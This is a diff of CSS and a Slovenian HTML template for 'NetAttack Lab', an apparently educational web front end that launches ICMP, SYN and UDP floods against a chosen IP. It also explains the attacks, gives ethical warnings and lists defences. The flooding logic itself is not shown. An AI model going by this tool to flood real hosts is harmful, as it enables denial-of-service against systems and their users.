.terminal-body::-webkit-scrollbar-track {
|
||||||
|
background: var(--bg-primary);
|
||||||
|
}
|
||||||
|
|
||||||
|
.terminal-body::-webkit-scrollbar-thumb {
|
||||||
|
background: var(--border);
|
||||||
|
border-radius: 4px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.log-line {
|
||||||
|
margin-bottom: 0.3rem;
|
||||||
|
word-wrap: break-word;
|
||||||
|
}
|
||||||
|
|
||||||
|
.log-line.warning {
|
||||||
|
color: var(--accent-orange);
|
||||||
|
}
|
||||||
|
|
||||||
|
.log-line.error {
|
||||||
|
color: var(--accent-red);
|
||||||
|
}
|
||||||
|
|
||||||
|
.log-line.success {
|
||||||
|
color: var(--accent-green);
|
||||||
|
}
|
||||||
|
|
||||||
|
.log-line.info {
|
||||||
|
color: var(--accent-blue);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Stats Grid */
|
||||||
|
.stats-grid {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
|
||||||
|
gap: 1rem;
|
||||||
|
margin: 2rem 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.stat-card {
|
||||||
|
background: var(--bg-primary);
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
border-radius: 6px;
|
||||||
|
padding: 1.5rem;
|
||||||
|
text-align: center;
|
||||||
|
transition: transform 0.3s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.stat-card:hover {
|
||||||
|
transform: translateY(-4px);
|
||||||
|
box-shadow: 0 8px 25px rgba(0, 255, 65, 0.2);
|
||||||
|
}
|
||||||
|
|
||||||
|
.stat-value {
|
||||||
|
font-size: 2.5rem;
|
||||||
|
font-weight: 700;
|
||||||
|
color: var(--accent-green);
|
||||||
|
text-shadow: 0 0 10px var(--shadow);
|
||||||
|
}
|
||||||
|
|
||||||
|
.stat-label {
|
||||||
|
color: var(--text-secondary);
|
||||||
|
text-transform: uppercase;
|
||||||
|
font-size: 0.8rem;
|
||||||
|
margin-top: 0.5rem;
|
||||||
|
letter-spacing: 1px;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Table */
|
||||||
|
.sessions-table {
|
||||||
|
margin: 2rem 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.sessions-table h3 {
|
||||||
|
color: var(--text-primary);
|
||||||
|
margin-bottom: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
table {
|
||||||
|
width: 100%;
|
||||||
|
border-collapse: collapse;
|
||||||
|
background: var(--bg-primary);
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
border-radius: 6px;
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
th, td {
|
||||||
|
padding: 0.8rem;
|
||||||
|
text-align: left;
|
||||||
|
border-bottom: 1px solid var(--border);
|
||||||
|
}
|
||||||
|
|
||||||
|
th {
|
||||||
|
background: var(--bg-tertiary);
|
||||||
|
color: var(--accent-green);
|
||||||
|
font-weight: 600;
|
||||||
|
text-transform: uppercase;
|
||||||
|
font-size: 0.8rem;
|
||||||
|
letter-spacing: 1px;
|
||||||
|
}
|
||||||
|
|
||||||
|
td {
|
||||||
|
color: var(--text-secondary);
|
||||||
|
font-size: 0.85rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.no-data {
|
||||||
|
text-align: center !important;
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-style: italic;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Info Sections */
|
||||||
|
.info-section {
|
||||||
|
margin: 2rem 0;
|
||||||
|
padding: 1.5rem;
|
||||||
|
background: var(--bg-primary);
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
border-radius: 6px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.info-section h3 {
|
||||||
|
color: var(--accent-blue);
|
||||||
|
margin-bottom: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.attack-explanation h4 {
|
||||||
|
color: var(--accent-orange);
|
||||||
|
margin: 1rem 0 0.5rem 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.guidelines {
|
||||||
|
margin: 1rem 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.guideline-item {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.8rem;
|
||||||
|
margin: 0.8rem 0;
|
||||||
|
padding: 0.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.check {
|
||||||
|
color: var(--accent-green);
|
||||||
|
}
|
||||||
|
|
||||||
|
.cross {
|
||||||
|
color: var(--accent-red);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Responsive Design */
|
||||||
|
@media (max-width: 768px) {
|
||||||
|
.header {
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 1rem;
|
||||||
|
padding: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.status-bar {
|
||||||
|
flex-wrap: wrap;
|
||||||
|
gap: 0.5rem;
|
||||||
|
justify-content: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.main-content {
|
||||||
|
padding: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.config-row {
|
||||||
|
grid-template-columns: 1fr;
|
||||||
|
gap: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.button-row {
|
||||||
|
flex-direction: column;
|
||||||
|
}
|
||||||
|
|
||||||
|
.stats-grid {
|
||||||
|
grid-template-columns: repeat(auto-fit, minmax(150px, 1fr));
|
||||||
|
}
|
||||||
|
|
||||||
|
.nav-tabs {
|
||||||
|
justify-content: center;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Animations */
|
||||||
|
@keyframes scan {
|
||||||
|
0% { transform: translateX(-100%); }
|
||||||
|
100% { transform: translateX(100%); }
|
||||||
|
}
|
||||||
|
|
||||||
|
.scanning::after {
|
||||||
|
content: '';
|
||||||
|
position: absolute;
|
||||||
|
top: 0;
|
||||||
|
left: 0;
|
||||||
|
width: 100%;
|
||||||
|
height: 2px;
|
||||||
|
background: linear-gradient(90deg, transparent, var(--accent-green), transparent);
|
||||||
|
animation: scan 2s infinite;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Matrix Effect */
|
||||||
|
.matrix-bg {
|
||||||
|
position: fixed;
|
||||||
|
top: 0;
|
||||||
|
left: 0;
|
||||||
|
width: 100%;
|
||||||
|
height: 100%;
|
||||||
|
pointer-events: none;
|
||||||
|
z-index: -1;
|
||||||
|
opacity: 0.05;
|
||||||
|
}
|
||||||
259
ping_of_death/templates/index.html
Normal file
259
ping_of_death/templates/index.html
Normal file
|
|
@ -0,0 +1,259 @@
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="sl">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>NetAttack Lab - Izobraževanje o Omrežni Varnosti</title>
|
||||||
|
<link rel="stylesheet" href="/static/styles.css">
|
||||||
|
<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@300;400;700&display=swap" rel="stylesheet">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div class="container">
|
||||||
|
<header class="header">
|
||||||
|
<div class="logo">
|
||||||
|
<span class="skull">💀</span>
|
||||||
|
<h1>NetAttack Lab</h1>
|
||||||
|
<span class="version">v2.1.337</span>
|
||||||
|
</div>
|
||||||
|
<div class="status-bar">
|
||||||
|
<span class="status-item">Aktivne: {{.ActiveSessions}}/{{.MaxConcurrent}}</span>
|
||||||
|
<span class="status-item" id="system-time"></span>
|
||||||
|
<span class="status-item warning">SAMO ZA IZOBRAŽEVANJE</span>
|
||||||
|
</div>
|
||||||
|
</header>
|
||||||
|
|
||||||
|
<nav class="nav-tabs">
|
||||||
|
<button class="tab-btn active" data-tab="reconnaissance">🔍 Raziskovanje</button>
|
||||||
|
<button class="tab-btn" data-tab="attacks">⚡ Generiranje Prometa</button>
|
||||||
|
<button class="tab-btn" data-tab="monitoring">📊 Spremljanje</button>
|
||||||
|
<button class="tab-btn" data-tab="about">ℹ️ O programu</button>
|
||||||
|
</nav>
|
||||||
|
|
||||||
|
<main class="main-content">
|
||||||
|
<!-- Reconnaissance Tab -->
|
||||||
|
<div class="tab-content active" id="reconnaissance">
|
||||||
|
<div class="panel">
|
||||||
|
<h2>🎯 Analiza Cilja</h2>
|
||||||
|
<div class="warning-box">
|
||||||
|
<strong>⚠️ SAMO ETIČNO TESTIRANJE</strong><br>
|
||||||
|
Testiraj samo localhost, 127.x.x.x ali 192.168.x.x naslove.<br>
|
||||||
|
Testiranje zunanjih gostiteljev brez dovoljenja je nezakonito.
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-section">
|
||||||
|
<div class="input-group">
|
||||||
|
<label>IP naslov/Ime gostitelja:</label>
|
||||||
|
<input type="text" id="recon-target" placeholder="127.0.0.1 ali localhost" value="127.0.0.1">
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="button-row">
|
||||||
|
<button class="btn btn-primary" onclick="runPing()">🏓 Ping Test</button>
|
||||||
|
<button class="btn btn-secondary" onclick="runTraceroute()">🗺️ Sledenje Poti</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="terminal" id="recon-output">
|
||||||
|
<div class="terminal-header">
|
||||||
|
<span>raziskovanje.log</span>
|
||||||
|
<button class="btn-clear" onclick="clearOutput('recon-output')">Počisti</button>
|
||||||
|
</div>
|
||||||
|
<div class="terminal-body" id="recon-logs">
|
||||||
|
<div class="log-line">🔥 NetAttack Lab inicializiran...</div>
|
||||||
|
<div class="log-line">📡 Pripravljen za raziskovalne operacije</div>
|
||||||
|
<div class="log-line warning">⚠️ Zapomni si: Testiraj samo avtorizirane cilje!</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Attacks Tab -->
|
||||||
|
<div class="tab-content" id="attacks">
|
||||||
|
<div class="panel">
|
||||||
|
<h2>⚡ Laboratorij za Generiranje Prometa</h2>
|
||||||
|
|
||||||
|
<div class="danger-box">
|
||||||
|
<h3>🚨 KRITIČNO OPOZORILO</h3>
|
||||||
|
<p>To orodje demonstrira tehnike preplavitve omrežja izključno za izobraževalne namene.</p>
|
||||||
|
<ul>
|
||||||
|
<li>Testiraj samo localhost ali lokalne omrežne naslove</li>
|
||||||
|
<li>Ne cilja na zunanje strežnike brez izrecnega dovoljenja</li>
|
||||||
|
<li>Razumej pravne posledice v tvoji jurisdikciji</li>
|
||||||
|
<li>Uporabljaj odgovorno za učenje o omrežnih obrambah</li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="attack-config">
|
||||||
|
<div class="config-row">
|
||||||
|
<div class="input-group">
|
||||||
|
<label>Cilj:</label>
|
||||||
|
<input type="text" id="attack-target" placeholder="127.0.0.1" value="127.0.0.1">
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-group">
|
||||||
|
<label>Tip Napada:</label>
|
||||||
|
<select id="attack-type">
|
||||||
|
<option value="ping_flood">ICMP Echo Poplava</option>
|
||||||
|
<option value="tcp_syn">TCP SYN Poplava</option>
|
||||||
|
<option value="udp_flood">UDP Paketna Poplava</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="config-row">
|
||||||
|
<div class="input-group">
|
||||||
|
<label>Trajanje (sekunde):</label>
|
||||||
|
<input type="range" id="duration" min="5" max="360" value="10">
|
||||||
|
<span id="duration-value">10s</span>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="input-group">
|
||||||
|
<label>Intenziteta (zaht/sek):</label>
|
||||||
|
<input type="range" id="intensity" min="1" max="5000" value="10">
|
||||||
|
<span id="intensity-value">10</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="button-row">
|
||||||
|
<button class="btn btn-danger" id="attack-btn" onclick="startAttack()">🔥 Začni Napad</button>
|
||||||
|
<button class="btn btn-warning" id="stop-btn" onclick="stopAllAttacks()" disabled>🛑 Nujna Ustavitev</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="terminal" id="attack-output">
|
||||||
|
<div class="terminal-header">
|
||||||
|
<span>napad.log</span>
|
||||||
|
<button class="btn-clear" onclick="clearOutput('attack-output')">Počisti</button>
|
||||||
|
</div>
|
||||||
|
<div class="terminal-body" id="attack-logs">
|
||||||
|
<div class="log-line">💥 Napadni modul naložen...</div>
|
||||||
|
<div class="log-line">🎯 Pripravljen za generiranje prometa</div>
|
||||||
|
<div class="log-line error">⚠️ Samo za izobraževanje - Bodi odgovoren!</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Monitoring Tab -->
|
||||||
|
<div class="tab-content" id="monitoring">
|
||||||
|
<div class="panel">
|
||||||
|
<h2>📊 Monitor Aktivnih Sej</h2>
|
||||||
|
|
||||||
|
<div class="stats-grid">
|
||||||
|
<div class="stat-card">
|
||||||
|
<div class="stat-value" id="total-sessions">0</div>
|
||||||
|
<div class="stat-label">Skupno Sej</div>
|
||||||
|
</div>
|
||||||
|
<div class="stat-card">
|
||||||
|
<div class="stat-value" id="active-attacks">0</div>
|
||||||
|
<div class="stat-label">Aktivni Napadi</div>
|
||||||
|
</div>
|
||||||
|
<div class="stat-card">
|
||||||
|
<div class="stat-value" id="total-packets">0</div>
|
||||||
|
<div class="stat-label">Poslani Paketi</div>
|
||||||
|
</div>
|
||||||
|
<div class="stat-card">
|
||||||
|
<div class="stat-value" id="success-rate">0%</div>
|
||||||
|
<div class="stat-label">Stopnja Uspešnosti</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="sessions-table">
|
||||||
|
<h3>Podrobnosti Seje</h3>
|
||||||
|
<table id="sessions-table">
|
||||||
|
<thead>
|
||||||
|
<tr>
|
||||||
|
<th>ID</th>
|
||||||
|
<th>Cilj</th>
|
||||||
|
<th>Tip</th>
|
||||||
|
<th>Stanje</th>
|
||||||
|
<th>Trajanje</th>
|
||||||
|
<th>Uspešno</th>
|
||||||
|
<th>Neuspešno</th>
|
||||||
|
<th>Dejanje</th>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
<tbody id="sessions-body">
|
||||||
|
<tr>
|
||||||
|
<td colspan="8" class="no-data">Ni aktivnih sej</td>
|
||||||
|
</tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- About Tab -->
|
||||||
|
<div class="tab-content" id="about">
|
||||||
|
<div class="panel">
|
||||||
|
<h2>🎓 Izobraževalne Informacije</h2>
|
||||||
|
|
||||||
|
<div class="info-section">
|
||||||
|
<h3>Namen</h3>
|
||||||
|
<p>NetAttack Lab je izobraževalno orodje, namenjeno demonstraciji tehnik preplavitve omrežja in njihovega vpliva na sistemske vire. To orodje pomaga študentom razumeti:</p>
|
||||||
|
<ul>
|
||||||
|
<li>Kako delujejo napadi s preplavljanjem omrežja</li>
|
||||||
|
<li>Pomembnost omejevanja hitrosti in DDoS zaščite</li>
|
||||||
|
<li>Strategije nadzora in obrambe omrežja</li>
|
||||||
|
<li>Etične vidike varnostnega testiranja</li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="info-section">
|
||||||
|
<h3>Razlaga Tipov Napadov</h3>
|
||||||
|
<div class="attack-explanation">
|
||||||
|
<h4>ICMP Echo Poplava (Ping Poplava)</h4>
|
||||||
|
<p>Pošilja hitre ICMP echo zahteve, da preobremeni zmožnost cilja za odziv. Lahko porabi pasovno širino in procesno moč.</p>
|
||||||
|
|
||||||
|
<h4>TCP SYN Poplava</h4>
|
||||||
|
<p>Izkorišča TCP handshake proces s pošiljanjem SYN paketov brez dokončanja povezave, kar lahko izčrpa vire povezav.</p>
|
||||||
|
|
||||||
|
<h4>UDP Paketna Poplava</h4>
|
||||||
|
<p>Preplavi cilj z UDP paketi na naključnih vratih, kar prisili cilj k obdelavi paketov in odgovori z ICMP nedosegljivimi sporočili.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="info-section">
|
||||||
|
<h3>Pravne in Etične Smernice</h3>
|
||||||
|
<div class="guidelines">
|
||||||
|
<div class="guideline-item">
|
||||||
|
<span class="check">✅</span>
|
||||||
|
<span>Testiraj samo svoje sisteme ali laboratorijska okolja</span>
|
||||||
|
</div>
|
||||||
|
<div class="guideline-item">
|
||||||
|
<span class="check">✅</span>
|
||||||
|
<span>Uporabljaj samo localhost ali zasebne IP naslove</span>
|
||||||
|
</div>
|
||||||
|
<div class="guideline-item">
|
||||||
|
<span class="check">✅</span>
|
||||||
|
<span>Razumej vpliv pred testiranjem</span>
|
||||||
|
</div>
|
||||||
|
<div class="guideline-item">
|
||||||
|
<span class="cross">❌</span>
|
||||||
|
<span>Nikoli ne cilja na zunanje sisteme brez dovoljenja</span>
|
||||||
|
</div>
|
||||||
|
<div class="guideline-item">
|
||||||
|
<span class="cross">❌</span>
|
||||||
|
<span>Ne uporabljaj za zlonamerne namene</span>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="info-section">
|
||||||
|
<h3>Obrambne Strategije</h3>
|
||||||
|
<p>Naučite se, kako se zaščititi pred temi napadi:</p>
|
||||||
|
<ul>
|
||||||
|
<li><strong>Omejevanje Hitrosti:</strong> Omejite zahteve na IP naslov</li>
|
||||||
|
<li><strong>Požarna Pravila:</strong> Blokirajte sumljive vzorce prometa</li>
|
||||||
|
<li><strong>Razporeditev Obremenitve:</strong> Porazdelite promet po več strežnikih</li>
|
||||||
|
<li><strong>DDoS Zaščita:</strong> Uporabljajte oblačne zaščitne storitve</li>
|
||||||
|
<li><strong>Nadzor:</strong> Implementirajte analizo prometa v realnem času</li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</main>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script src="/static/app.js"></script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
Loading…
Add table
Add a link
Reference in a new issue